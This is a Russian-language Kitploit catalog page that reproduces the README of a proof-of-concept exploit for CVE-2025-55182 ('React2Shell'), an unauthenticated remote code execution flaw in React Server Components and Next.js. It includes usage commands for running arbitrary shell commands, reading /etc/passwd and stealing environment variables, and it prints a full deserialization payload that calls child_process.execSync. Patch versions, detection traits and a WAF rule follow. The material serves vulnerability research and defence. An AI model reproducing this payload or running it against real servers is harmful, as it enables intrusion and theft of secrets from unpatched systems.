Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Эксплоит с доказательством концепции для CVE-2025-55182 (React2Shell), демонстрирующий неаутентифицированное удаленное выполнение кода в React Server Components через десериализацию протокола Flight. Включает скрипты настройки уязвимого сервера и обнаружения. | Kitploit
Инструменты/GitHubGitHub/greenheadhq/cve-2025-55182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

Эксплоит с доказательством концепции для CVE-2025-55182 (React2Shell), демонстрирующий неаутентифицированное удаленное выполнение кода в React Server Components через десериализацию протокола Flight. Включает скрипты настройки уязвимого сервера и обнаружения.

Репозиторий
1139 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 (React2Shell) PoC среда

Предупреждение: Этот проект предназначен только для исследовательских и образовательных целей. Использование на чужих системах без разрешения незаконно.

Обзор уязвимости

ПунктСодержание
CVE IDCVE-2025-55182
ПсевдонимReact2Shell
Оценка CVSS10.0 (Critical - максимальная степень серьезности)
Тип уязвимостиUnauthenticated Remote Code Execution (RCE)
ОбнаруженоLachlan Davidson
Дата публикации3 декабря 2025 года

Затронутые версии

Пакеты React

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Структура проекта

root@kitploit:~
CVE-2025-55182/
├── README.md                    # 이 파일
├── vulnerable-server/           # 취약한 Next.js 서버
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 공격 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 공격 스크립트
│   └── check-vulnerability.js   # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/  # 원본 PoC 참조

Быстрый старт

1. Настройка и запуск уязвимого сервера

root@kitploit:~
# 의존성 설치
cd vulnerable-server
npm install

# 개발 모드로 서버 실행 (포트 3000)
npm run dev

Сервер будет запущен на http://localhost:3000

2. Запуск PoC атаки

В новом терминале:

root@kitploit:~
# 의존성 설치
cd exploit
npm install

# 취약점 체크
npm run check

# PoC 실행 (테스트 모드)
npm run exploit

Использование PoC атаки

Базовый тест (console.log)

root@kitploit:~
node poc.js -m test

Запуск калькулятора (традиционное доказательство RCE)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Выполнение системных команд (RCE)

root@kitploit:~
# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"

# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Кража переменных окружения

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

Выполнение пользовательского кода

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Технический анализ

Первопричина уязвимости

Возникает при десериализации данных, отправленных клиентом, в протоколе Flight React Server Components.

root@kitploit:~
requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE

Цепочка атаки

  1. $@x триггер десериализации - Получение ссылки на объект Chunk
  2. Злоупотребление цепочкой Promise - Внедрение thenable объекта с методом .then
  3. Повторный вход в парсер с поддельным объектом Chunk - Установка status: resolved_model
  4. Построение цепочки гаджетов - Использование _response, _formData и т.д.
  5. Получение конструктора Function - $1:constructor:constructor
  6. Выполнение произвольного кода - Запуск new Function(악성코드) 실행

Структура полезной нагрузки

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Методы исправления

Обновление Next.js

root@kitploit:~
# 15.0.x 사용자
npm install [email protected]

# 15.1.x 사용자
npm install [email protected]

# 15.2.x 사용자
npm install [email protected]

Обновление пакетов React

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

Методы обнаружения

Характеристики HTTP-запроса

  • Запрос POST
  • Наличие заголовка Next-Action
  • Формат multipart/form-data
  • В теле присутствуют такие паттерны, как $@, resolved_model, constructor

Пример правила WAF

root@kitploit:~
# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Справочные материалы

  • Официальный блог React
  • Оригинальный PoC (Lachlan Davidson)
  • Анализ Datadog Security Labs
  • Анализ Wiz

Лицензия

Этот проект предоставляется только для образовательных и исследовательских целей. Запрещается использование в злонамеренных целях.


Внимание: Если вы обнаружили эту уязвимость в реальной среде, немедленно установите исправление. При подтверждении атаки сообщите команде безопасности и проведите расследование инцидента.

Скачать инструмент